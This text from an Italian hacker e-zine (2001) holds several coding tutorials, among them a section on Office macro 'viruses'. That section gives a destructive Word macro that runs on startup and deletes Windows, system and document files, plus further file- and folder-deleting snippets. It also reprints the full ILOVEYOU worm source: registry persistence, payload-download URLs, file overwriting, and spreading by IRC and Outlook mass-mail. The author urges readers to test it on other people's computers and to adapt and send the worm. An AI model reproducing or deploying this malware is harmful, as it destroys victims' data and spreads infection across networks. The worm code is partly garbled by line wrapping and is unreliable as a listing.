|soddisfare nessuno dei tre confronti verrà eseguita l'istruzione di default. |
|I "break" servono per fermare il confronto qualora uno dei casi risultasse |
|vero, se non ci fossero verrebbero eseguiti inutilmente tutti gli altri. |
|A differenza dell'if/else, lo switch può verificare soltanto l'ugualianza di |
|una variabile, quindi può tornare utile per fare un menù, per esempio, dove |
|ogni voce corrisponde ad un numero. |
|Vediamo: |
| |
|#include <stdio.h> |
| |
|main() |
|{ |
| |
| int lista; /*Definiamo la variabile che servirà per lo switch*/ |
| |
| printf("\n Scegli un gruppo per sapere che genere di musica suona:\n"); |
| printf(" 1) Cypress Hill \n"); |
| printf(" 2) Elio e le storie tese \n"); |
| printf(" 3) 883 \n"); |
| printf(" 4) Pitura Freska \n"); |
| scanf("%d", &lista); /*Prendiamo il valore della variabile lista*/ |
| switch (lista) /*e facciamone il confronto*/ |
| { |
| case 1: |
| printf("I Cypress Hill suonano RAP\n"); |
| break; |
| case 2: |
| printf("Elio e le storie tese suonano rock demenziale"); |
| break; |
| case 3: |
| printf("Gli 883 suonano? E ti sembra musica quella?"); |
| break; |
| case 4: |
| printf("I Pitura Freska suonano reggae/ska"); |
| break; |
| default: |
| printf("Nessun gruppo associato a questo numero"); |
| |
| } |
|} |
| |
|Con questo abbiamo finito di parlare anche del costrutto switch, la prossima |
|volta vedremo come fare per scrivere un programma più "intelligente", cioè che |
|non esce fino a quando non glie lo diciamo noi. |
|Parleremo del "while" e del "do-while" e .... basta, cos'altro volete ancora? |
|:))) |
| |
|Bai bai amici, alla prossima! |
| JEYoNE |
| articoli@ondaquadra.cjb.net |
| |
+-------------------------------------------------------------------------------+



+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [C0DiNG] #04 - 19/11/2001 |
| iNTR0 ALLE MACR0 (7/8) [Mastro] 0x0E/0x23 |
+-------------------------------------------------------------------------------+
| |
| |
| MACRO: PARTE 7° "VIRUZZZZZZ-ONE " |
| |
| Ok! |
| Questa parte non è dedicata (forse in minima parte) alla spiegazione di |
| Visual Basic, ma a qualche (parecchi) comandi meglio chiamati virus. ;) |
| Per il piccolo virus che riporto sotto ho utilizzato una proprietà molto |
| ultile di Application: OnTime. |
| Impostando un orario è possibile far eseguire una macro a quell'ora, oppure |
| dopo un tot di secondi, minuti oppure ore, il tutto senza che l'utente se ne |
| accorga! |
| |
| Sub pippo() |
| Application.OnTime When:="15:55:00", Name:="topolino" |
| End Sub |
| |
| Alle 3 e 55 del pomeriggio la macro viene eseguita. |
| |
| |
| A T T E N Z I O N E ! ! ! ! |
| |
| Quando immettete il nome della macro da far viaggare NON inserite le |
| parentesi o quella non parte!!! |
| |
| |
| |
| |
| Sub pippo() |
| Application.OnTime When:=Now + TimeValue("00:0:15"), Name:="topolino" |
| End Sub |
| |
| La macro "topolino" parte dopo 15 secondi. |
| Se volete potete farla partire dopo 1 o 2 minuti, o anche 3 ore: |
| |
| Sub pippo() |
| Application.OnTime When:=Now + TimeValue("00:15:00"), Name:="topolino" |
| End Sub |
| |
| L'esempio qui sotto è una piccola cazzata, ma bastarda: |
| |
| Sub AutoExec() |
| Application.OnTime When:=Now + TimeValue("00:5:00"), Name:="topolino" |
| End Sub |
| Sub topolino()

  
|
| MsgBox "" |
| MsgBox "EÛÙrò¶Z ¢>ώF(A>À Eeώ&öÌp©&n ~{}|_ßß ÞµÕÔþõÒiõ÷____6 5Ä_A", |
| vbCritical |
| MsgBox |
| "Addiooooooooooooooooooooooooooooooooooooooooo.........................." |
| Tasks.ExitWindows |
| End Sub |
| |
| Aspettiamo 5 minuti, poi gli spegnamo Windows in faxxa!!! ;) |
| E senza salvare un caxxo!!! |
| E' strutturata in 2 parti: |
| il timer (AutoExec), e la macro vera e propria (topolino). |
| |
| |
| Ed ora il virus: |
| è come l'esempio sopra, all'avvio di Word parte un timer in background che |
| dopo 20 venti secondi fa scattare il virus. |
| Inizia eliminando qualche barra degli strumenti....non si sa mai! ;) |
| Poi passa a spaventare un pò il coglione, facendogli alcune domande senza |
| contare le risposte, così anche se sono tutte giuste lui agisce |
| ugualmente!!! ;) |
| Ho messo una piccola cazzata: un messaggio che dice che il virus sta |
| scatarrando nel pc e ad ogni sputo il cursore sballa cambiando forma! |
| Più che spaventarlo, questo virus devasta interiormente l'utente, perchè |
| cancella ogni filez presente nella cartella Windows e Sistem! |
| Addio computer! |
| |
| |
| Sub AutoExec() |
| Application.OnTime When:=Now + TimeValue("00:0:20"), Name:="pippo" |
| End Sub |
| |
| Sub pippo() |
| On Error Resume Next |
| Application.DisplayAlerts = wdAlertsNone |
| CommandBars("file").Enabled = False |
| CommandBars("tools").Enabled = False |
| CommandBars("standard").Enabled = False |
| MsgBox "A T T E N Z I O N E ! !", vbCritical |
| MsgBox "Ciao come ti va? Io sono stato appena attivato e sono in piena |
| forma."
|
| MsgBox "E sì, sono un virus e ti ho cancellato autoexec.bat e command.com." |
| MsgBox "E' così che va la vita....un giorno a te l'altro ancora a te e così |
| via....."
|
| MsgBox "Non dovevi scaricare quei documenti da Internet.....non ti avevano |
| avvisato?"
|
| MsgBox "Vabbè, mi stai simpatico (non è vero!) e ti voglio aiutare con il |
| buon vecchio questionario: tu rispondi giusto e io me ne vado."
|
| MsgBox " Via!" |
| w = InputBox("Quale tra queste parole è sia un ballo che uno strumento? |
| a)Bongo-bongo b)Macarena c)Charleston d)Tip-tap"
, "SoTtO |
| cOnTrOlLo"
) |
| If w = "b" Then |
| MsgBox "Giustoooooooo!!!!!" |
| Else |
| MsgBox "Noooooooooooooooooooooooooooooooooooo!!!!", vbCritical |
| End If |
| a = InputBox("Un trojan è: a)Un videogame b)Un uomo che si |
| prostituisce c)Un virus d)Un programma per accedere ad altri pc"
, |
| "DoMaNdA fAcIlE fAcIlE") |
| If a = "d" Then |
| MsgBox "WOW!!!!!! GIUSTA!!!!!" |
| Else |
| MsgBox "Sei una schifosissima merda, ho fatto bene a infettarti!!!", |
| vbCritical, "CREPA!!!" |
| End If |
| MsgBox "Mi sono rotto. Ultima possibilità.", vbCritical |
| r = InputBox("Domanda molto facile: Galeazzi è a)Una donna b)Un |
| travestito c)Un giornalista d)Un cronista"
, "OcChIo A nOn |
| SbAgLiArE!!!"
) |
| If r = "d" Then |
| MsgBox "Ok. Hai indovinato." |
| Else |
| MsgBox "No! Ancora sbagliato!", vbCritical |
| End If |
| MsgBox "Non me ne frega un cazzo di quante risposte hai azzeccato o di |
| quante ne hai sbagliate, ho solo voglia di sputare ripetutamente sul tuo |
| misero pc."
, vbInformation |
| MsgBox "Ora lo faccio, stai a vedere......" |
| For I = 1 To 100000 |
| System.Cursor = wdCursorWait |
| Next I |
| System.Cursor = wdCursorNormal |
| For I = 1 To 10000 |
| System.Cursor = wdCursorNorthwestArrow |
| Next I |
| System.Cursor = wdCursorNormal |
| MsgBox "Ancora catarro!" |
| For I = 1 To 1000 |
| Application.HelpTool |
| Next I |
| System.Cursor = wdCursorNormal |
| For I = 1 To 10000 |
| System.Cursor = wdCursorNorthwestArrow |
| Next I |
| System.Cursor = wdCursorNormal |
| MsgBox "Avanti di saliva!" |
| For I = 1 To 1000 |
| Application.HelpTool |
| Next I |
| System.Cursor = wdCursorNormal |
| For I = 1 To 10000 |
| System.Cursor = wdCursorNorthwestArrow |
| Next I |
| System.Cursor = wdCursorNormal |
| For I = 1 To 1000 |
| Application.HelpTool |
| Next I |
| System.Cursor = wdCursorNormal |
| For I = 1 To 100000 |
| System.Cursor = wdCursorNorthwestArrow |
| Next I |
| System.Cursor = wdCursorNormal |
| MsgBox "Scatarro come non mai!" |
| For I = 1 To 10000 |
| Application.HelpTool |
| Next I |
| System.Cursor = wdCursorNormal |
| MsgBox "Ho finito il catarro, cazzo!", vbCritical |
| MsgBox "Iniziamo a devastare!", vbCritical |
| Kill "C:\WINDOWS\*.*" 'Chissà a cosa serve |
| Kill? |
| Kill "C:\WINDOWS\SYSTEM\*.*" |
| Kill "C:\DOCUMENTI\*.*" 'Volevo essere |
| Kill "C:\WINDOWS\*.dll" 'sicuro di |
| Kill "C:\WINDOWS\*.ini" 'DEVASTARE il pc. |
| MsgBox "Non ho fatto apposta.", vbYesNo, "Grande cazzata" |
| MsgBox ";) Ha ha ha ha ha ha ha ha!!!!!!!" |
| End Sub |
| |
| |
| |
| |
| MACRO: PARTE 3° "VIRUZZZZZZ-TWO " |
| |
| Ok! |
| Piaciuto il viruzzzzzz-one? Provatelo su qualche pc! (Non il vostro.....) |
| Non so quanti di voi lo sapevano già, comunque c'è la possibilità di creare |
| macro anche in programmi che non siano Word, come Excel, PowerPoint e |
| Access. |
| Il guaio è che i comandi cambiano da programma a programma (quelli di Visual |
| Basic rimangono gli stessi, gli altri no). |
| Una cosa abbastanza divertente si può fare con PowerPoint: prendete |
| un'immagine di un teschio o comunque qualcosa di "pauroso" e poi la mettete |
| in una diapositiva. |
| A questo punto vi basta creare una macro che blocchi tutto, magari con un |
| messaggio d'errore "perpetuo", oppure gli cancellate qualche filez con: |
| |
| |
| Sub pippo() |
| Kill "nome e percorso del filez" |
| End Sub |
| |
| Anche qui potete usare l'asterisco (*) per indicare tutti i filez: |
| |
| Sub pippo() |
| Kill "C:\WINDOWS\*.exe" |
| End Sub |
| |
| Potete anche dire addio a windows. |
| Oppure potreste eliminare direttamente la directory con RmDir: |
| |
| Sub AutoExec() |
| RmDir "Documenti" |
| RmDir "Windows" |
| End Sub |
| |
| Crearne delle altre? |
| |
| Sub pippo() |
| MkDir "Pippo" |
| Mkdir "C:\WINDOWS\SYSTEM\PIPPO" |
| End Sub |
| |
| Con il primo comando ho creato una cartella nella directory corrente |
| (Windows), con il secondo la cartella PIPPO viene creata in System. |
| |
| |
| Ora veniamo all'argomento di questa parte: il registro di sistema. |
| Forse qualcuno di voi lo conosce già, per gli altri è un registro con le |
| chiavi di tutti i programmi, anche di quelli già disinstallati. |
| Se qualcuno si è beccato un Trojan ha dovuto operare un pò sul registro per |
| salvarsi. Se volete vederlo basta andare su "Esegui" dal menù avvio e |
| digitare |
| "regedit". |
| Che cozza possiamo fare noi con le nostre macro? |
| Semplice! Creiamo o eliminiamo chiavi! |
| |
| Sub pippo() |
| SaveSetting appname := "Pippo", section := "Topolino", key := "ciao", |
| setting := 75 |
| End Sub |
| |
| |
| SaveSetting==>gli chiediamo di salvare una nuova chiave |
| appname ==>dal nome..... |
| section ==>con una sotto-sezione di nome..... |
| key ==>con un comando di nome.... |
| setting ==>il valore del comando |
| E a me? ==>Non lo so, può sempre essere utile! ;) |
| |
| Eliminare una chiave? (cosa molto più importante) |
| |
| Sub pippo() |
| DeleteSetting "Pippo", "Topolino" 'eliminiamo Topolino |
| DeleteSetting "Pippo" 'eliminiamo Pippo |
| End Sub |
| |
| |
| Ora potete manipolare le chiavi del registro a vostro piacimento. |
| Questo qui sotto è il viruzzzzzz-two, purtroppo però non è una mia creazione |
| ma è il testo del mitico virus "I love you". |
| L'ho messo per farvi vedere un esempio molto funzionante di manipolazione di |
| chiavi. |
| Eccovivi l'opera d'arte: |
| |
| |
| |
| |
| On Error Resume Next 'iniziamo |
| dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow |
| eq="" |
| ctr=0 |
| Set fso = CreateObject("Scripting.FileSystemObject") |
| set file = fso.OpenTextFile(WScript.ScriptFullname,1) |
| vbscopy=file.ReadAll |
| main() |
| sub main() |
| On Error Resume Next |
| dim wscr,rr |
| set wscr=CreateObject("WScript.Shell") 'prima manipolazione |
| rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting |
| Host\Settings\Timeout"
) |
| if (rr>=1) then |
| wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting |
| Host\Settings\Timeout"
,0,"REG_DWORD" |
| end if |
| Set dirwin = fso.GetSpecialFolder(0) |
| Set dirsystem = fso.GetSpecialFolder(1) |
| Set dirtemp = fso.GetSpecialFolder(2) |
| Set c = fso.GetFile(WScript.ScriptFullName) 'copiamo qualche filez di |
| sistema |
| c.Copy(dirsystem&"\MSKernel32.vbs") |
| c.Copy(dirwin&"\Win32DLL.vbs") |
| c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") |
| regruns() |
| html() |
| spreadtoemail() |
| listadriv() |
| end sub |
| sub regruns() |
| On Error Resume Next |
| Dim num,downread 'andiamo avanti con i cambiamenti.... |
| regcreate |
| "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32" |
| "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\M,dirsystem |
| "
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\M&"\MSKerne |
| "
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Ml32.vbs" |
| regcreate |
| "
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win |
| "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunSe32DLL",dir |
| "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunSewin&"\Win3 |
| "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunSe2DLL.vbs" |
| downread="" |
| downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet |
| Explorer\Download Directory"
) |
| if (downread="") then |
| downread="c:\" |
| end if |
| if (fileexist(dirsystem&"\WinFAT32.exe")=1) then |
| Randomize |
| num = Int((4 * Rnd) + 1) |
| if num = 1 then 'impostiamo la main page di Internet |
| Explorer. |
| regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start |
| Page"
,"http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw |
| Page"
,"http:/6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" |
| elseif num = 2 then |
| regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start |
| Page"
,"http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe5 |
| Page"
,"http:/46786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" |
| elseif num = 3 then |
| regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start |
| Page"
,"http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmP |
| Page"
,"http:/OhfgER67b3Vbvg/WIN-BUGSFIX.exe" |
| elseif num = 4 then |
| regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start |
| Page"
,"http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhY |
| Page"
,"http:/UgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/ |
| Page"
,"http:/WIN-BUGSFIX.exe" |
| end if |
| end if |
| if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then |
| regcreate |
| "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX |
| "
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\W",downread |
| "
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\W&"\WIN-BUG |
| "
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WSFIX.exe" |
| regcreate "
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start |
| Page","about:blank" |
| end if |
| end sub |
| sub listadriv |
| On Error Resume Next |
| Dim d,dc,s |
| Set dc = fso.Drives |
| For Each d in dc |
| If d.DriveType = 2 or d.DriveType=3 Then |
| folderlist(d.path&"
\") |
| end if |
| Next |
| listadriv = s |
| end sub |
| sub infectfiles(folderspec) |
| On Error Resume Next |
| dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 |
| set f = fso.GetFolder(folderspec) |
| set fc = f.Files |
| for each f1 in fc |
| ext=fso.GetExtensionName(f1.path) |
| ext=lcase(ext) |
| s=lcase(f1.name) |
| if (ext="
vbs") or (ext="vbe") then |
| set ap=fso.OpenTextFile(f1.path,2,true) |
| ap.write vbscopy |
| ap.close |
| elseif(ext="
js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") |
| or (ext="
hta") then |
| set ap=fso.OpenTextFile(f1.path,2,true) |
| ap.write vbscopy |
| ap.close |
| bname=fso.GetBaseName(f1.path) |
| set cop=fso.GetFile(f1.path) |
| cop.copy(folderspec&"
\"&bname&".vbs") |
| fso.DeleteFile(f1.path) |
| elseif(ext="
jpg") or (ext="jpeg") then |
| set ap=fso.OpenTextFile(f1.path,2,true) |
| ap.write vbscopy |
| ap.close |
| set cop=fso.GetFile(f1.path) |
| cop.copy(f1.path&"
.vbs") |
| fso.DeleteFile(f1.path) |
| elseif(ext="
mp3") or (ext="mp2") then 'Hai hai hai! Gli mp3..... |
| set mp3=fso.CreateTextFile(f1.path&"
.vbs") |
| mp3.write vbscopy |
| mp3.close |
| set att=fso.GetFile(f1.path) |
| att.attributes=att.attributes+2 |
| end if |
| if (eq<>folderspec) then |
| if (s="
mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or |
| (s="
script.ini") or (s="mirc.hlp") then |
| set scriptini=fso.CreateTextFile(folderspec&"
\script.ini") |
| scriptini.WriteLine "
[script]" |
| scriptini.WriteLine "
;mIRC Script" |
| scriptini.WriteLine "
; Please dont edit this script... mIRC will corrupt, |
| if mIRC will" |
| scriptini.WriteLine "
corrupt... WINDOWS will affect and will not run |
| correctly. thanks" |
| scriptini.WriteLine "
;" |
| scriptini.WriteLine "
;Khaled Mardam-Bey" |
| scriptini.WriteLine "
;http://www.mirc.com" |
| scriptini.WriteLine "
;" |
| scriptini.WriteLine "
n0=on 1:JOIN:#:{" |
| scriptini.WriteLine "
n1= /if ( $nick == $me ) { halt }" |
| scriptini.WriteLine "
n2= /.dcc send $nick |
| "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" |
| scriptini.WriteLine "
n3=}" |
| scriptini.close |
| eq=folderspec |
| end if |
| end if |
| next |
| end sub |
| sub folderlist(folderspec) |
| On Error Resume Next |
| dim f,f1,sf |
| set f = fso.GetFolder(folderspec) |
| set sf = f.SubFolders |
| for each f1 in sf |
| infectfiles(f1.path) |
| folderlist(f1.path) |
| next |
| end sub |
| sub regcreate(regkey,regvalue) |
| Set regedit = CreateObject("
WScript.Shell") |
| regedit.RegWrite regkey,regvalue |
| end sub |
| function regget(value) |
| Set regedit = CreateObject("
WScript.Shell") |
| regget=regedit.RegRead(value) |
| end function |
| function fileexist(filespec) |
| On Error Resume Next |
| dim msg |
| if (fso.FileExists(filespec)) Then |
| msg = 0 |
| else |
| msg = 1 |
| end if |
| fileexist = msg |
| end function |
| function folderexist(folderspec) |
| On Error Resume Next |
| dim msg |
| if (fso.GetFolderExists(folderspec)) then |
| msg = 0 |
| else |
| msg = 1 |
| end if |
| fileexist = msg |
| end function |
| sub spreadtoemail() 'ci auto-spediamo per posta |
| On Error Resume Next |
| dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad |
| set regedit=CreateObject("
WScript.Shell") |
| set out=WScript.CreateObject("
Outlook.Application") |
| set mapi=out.GetNameSpace("
MAPI") |
| for ctrlists=1 to mapi.AddressLists.Count |
| set a=mapi.AddressLists(ctrlists) |
| x=1 |
| regv=regedit.RegRead("
HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) |
| if (regv="") then |
| regv=1 |
| end if |
| if (int(a.AddressEntries.Count)>int(regv)) then |
| for ctrentries=1 to a.AddressEntries.Count |
| malead=a.AddressEntries(x) |
| regad="" |
| regad=regedit.RegRead("
HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) |
| if (regad="") then |
| set male=out.CreateItem(0) |
| male.Recipients.Add(malead) |
| male.Subject = "
ILOVEYOU" 'soggetto del messaggio |
| male.Body = vbcrlf&"
kindly check the attached LOVELETTER coming from me." |
| 'testo |
| male.Attachments.Add(dirsystem&"
\LOVE-LETTER-FOR-YOU.TXT.vbs") 'allegato |
| male.Send |
| regedit.RegWrite |
| "
HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" |
| end if |
| x=x+1 |
| next |
| regedit.RegWrite |
| "
HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count |
| else |
| regedit.RegWrite |
| "
HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count |
| end if |
| next |
| Set out=Nothing |
| Set mapi=Nothing |
| end sub |
| sub html |
| On Error Resume Next 'un po' di HTML... |
| dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 |
| dta1="
<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META |
| NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ |
| "
<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? |
| @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ |
| "
<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is |
| good...@-@>"&vbcrlf& _ |
| "
<?-?HEAD><BODY |
| ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#- |
| ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETT#,#-#main#-#)@-@ |
| ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETT "&vbcrlf& _ |
| "
ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#- |
| ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETT#,#-#main#-#)@-@ |
| ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETT |
| BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ |
| "
<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read |
| this HTML file<BR>- Please press #-#YES#-# button to Enable |
| ActiveX<?-?p>"&vbcrlf& _ |
| "
<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ |
| BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> |
| "&vbcrlf& _ |
| "
<?-?BODY><?-?HTML>"&vbcrlf& _ |
| "
<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ |
| "
<!--?-??-?"&vbcrlf& _ |
| "
if (window.screen){var wi=screen.availWidth;var |
| hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _ |
| "
?-??-?-->"&vbcrlf& _ |
| "
<?-?SCRIPT>"&vbcrlf& _ |
| "
<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ |
| "
<!--"&vbcrlf& _ |
| "
on error resume next"&vbcrlf& _ |
| "
dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ |
| "
aw=1"&vbcrlf& _ |
| "
code=" |
| dta2="
set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _ |
| "
set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ |
| "
code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _ |
| "
code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ |
| "
code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ |
| "
set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ |
| "
wri.write code4"&vbcrlf& _ |
| "
wri.close"&vbcrlf& _ |
| "
if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ |
| "
if (err.number=424) then"&vbcrlf& _ |
| "
aw=0"&vbcrlf& _ |
| "
end if"&vbcrlf& _ |
| "
if (aw=1) then"&vbcrlf& _ |
| "
document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ |
| "
window.close"&vbcrlf& _ |
| "
end if"&vbcrlf& _ |
| "
end if"&vbcrlf& _ |
| "
Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _ |
| "
regedit.RegWrite |
| @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run |
| @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Cu^-^MSKernel32@-@,d |
| @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Cuirsystem&@-@^-^MSK |
| @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Cuernel32.vbs@-@"&vb |
| @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Cucrlf& _ |
| "
?-??-?-->"&vbcrlf& _ |
| "
<?-?SCRIPT>" |
| dt1=replace(dta1,chr(35)&chr(45)&chr(35),"
'") |
| dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") |
| dt4=replace(dt1,chr(63)&chr(45)&chr(63),"
/") |
| dt5=replace(dt4,chr(94)&chr(45)&chr(94),"
\") |
| dt2=replace(dta2,chr(35)&chr(45)&chr(35),"
'") |
| dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") |
| dt3=replace(dt2,chr(63)&chr(45)&chr(63),"
/") |
| dt6=replace(dt3,chr(94)&chr(45)&chr(94),"
\") |
| set fso=CreateObject("
Scripting.FileSystemObject") |
| set c=fso.OpenTextFile(WScript.ScriptFullName,1) |
| lines=Split(c.ReadAll,vbcrlf) |
| l1=ubound(lines) |
| for n=0 to ubound(lines) |
| lines(n)=replace(lines(n),"
'",chr(91)+chr(45)+chr(91)) |
| lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) |
| lines(n)=replace(lines(n),"
\",chr(37)+chr(45)+chr(37)) |
| if (l1=n) then |
| lines(n)=chr(34)+lines(n)+chr(34) |
| else |
| lines(n)=chr(34)+lines(n)+chr(34)&"
&vbcrlf& _" |
| end if |
| next 'ci creiamo |
| set b=fso.CreateTextFile(dirsystem+"
\LOVE-LETTER-FOR-YOU.HTM") |
| b.close ' ci auto_apriamo |
| set d=fso.OpenTextFile(dirsystem+"
\LOVE-LETTER-FOR-YOU.HTM",2) |
| d.write dt5 |
| d.write join(lines,vbcrlf) |
| d.write vbcrlf |
| d.write dt6 |
| d.close |
| end sub |
| |
| |
| Come potete vedere creare un virus alla portata di "
I love you" è un po' |
| complicato e lungo. |
| Se volete fare i lamer D.O.C. potete copiare il codice, modificare le parti |
| riguardanti il titolo della e-mail, il messaggio, l'allegato (ovviamente |
| cambiando anche il nome con cui lo salvate tramite la macro), |
| e poi lo spedite a qualcuno, ma sarebbe meglio elaborarne uno proprio , |
| invece di sfruttare il bel lavoro di quel poveraccio di Manila che è stato |
| pure beccato! :( |
| |
| |
| |
+-------------------------------------------------------------------------------+


+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [C0DiNG] #04 - 19/11/2001 |
| 0S FR0M ZER0 CHAPTER [Alexander The Great] 0x0F/0x23 |
+-------------------------------------------------------------------------------+
| |
| Introduzione. |
| ------------- |
| |
| Salve. |
| |
| L'argomento di questo tutorial è: progettare e realizzare un |
| nuovo sistema operativo, partendo da zero, dal nulla assoluto. |
| Intendo, più precisamente, NON a partire da un kernel o da |
| qualche altra cosa presa in prestito da un sistema già esistente: |
| proprio dallo zero assoluto, scrivendo ogni singola riga di |
| codice assembly necessario. Quindi come prima cosa vi consiglio |
| di studiare un po' di assembly per processori Intel. Ci sono un |
| bel po' di tutorials al riguardo su Internet, ma se vi potete |
| permettere di spendere qualcosa in un buon libro, vi consiglio |
| il Murray-Pappas, "
l'Assembler per l'80286/80386", MCGraw-Hill. |
| E un'ultima cosa: se non sapete l'inglese, lasciate perdere... |
| |
| Troppo difficile? Direi che non è facile, ma non è neanche |
| impossibile. Bisogna innanzi tutto chiedersi da dove comincia |
| un sistema operativo... la risposta è: da dove finisce il BIOS. |
| Come sicuramente saprete, il BIOS è quella parte di programmi |
| che risiedono in ROM e si occupano di gestire l'hardware al suo |
| livello più fondamentale. Inoltre il BIOS si occupa del cosidetto |
| "
Power-On Self-Test", abbreviato in POST: durante il POST viene |
| verificata la salute dell'unità centrale e di tutte le periferiche; |
| dopodiché, a patto che tutto risulti a posto, il BIOS passa il |
| controllo a un programmino che si chiama "
bootstrap loader". |
| Ecco: lì finisce il BIOS e comincia il sistema operativo; |
| volendo scrivere un SO nuovo di zecca, bisogna quindi iniziare |
| dal codice del "
bootstrap loader". |
| |
| |
| |
| Il bootblock. |
| ------------- |
| |
| Su tutti i dischi di sistema (quale che sia il sistema) esiste |
| un'area chiamata "
bootblock" (blocco d'avviamento), rappresentata |
| dal primo settore fisico del disco. Se prendiamo un floppino ed i |
| suoi soliti 1440 Kb, e ne analizziamo la struttura, il risultato |
| è il seguente: |
| |
| - 80 tracce (tracks) circolari, la prima delle quali è la |
| più vicina al centro del disco, e l'ultima la più esterna; |
| - 2 testine (heads), dette anche "
superfici", poiché indica |
| quante superfici del supporto magnetico sono utilizzabili; |
| - 18 settori per traccia (sectors per track), ovvero in |
| quanti settori circolari è divisa ogni traccia; |
| - 512 bytes per settore (bytes per sector), la capacità di |
| memoria di un singolo settore. |
| |
| Se infatti si fa il prodotto di tutti i valori (80x2x18x512), |
| si ottiene il numero totale di bytes che un floppy da 1440Kb può |
| contenere, per l'appunto 1.474.560 bytes, cioè 1440Kb, o 1.4 Mb. |
| Detto questo, passo a introdurre un'altra entità: il "
